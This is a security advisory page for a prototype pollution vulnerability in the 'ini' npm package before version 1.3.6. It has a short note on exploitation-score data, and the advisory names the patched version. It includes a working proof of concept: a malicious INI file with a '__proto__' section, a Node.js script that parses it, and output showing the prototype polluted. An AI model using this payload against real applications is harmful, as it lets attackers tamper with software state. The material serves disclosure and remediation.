Prototype Pollution

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```
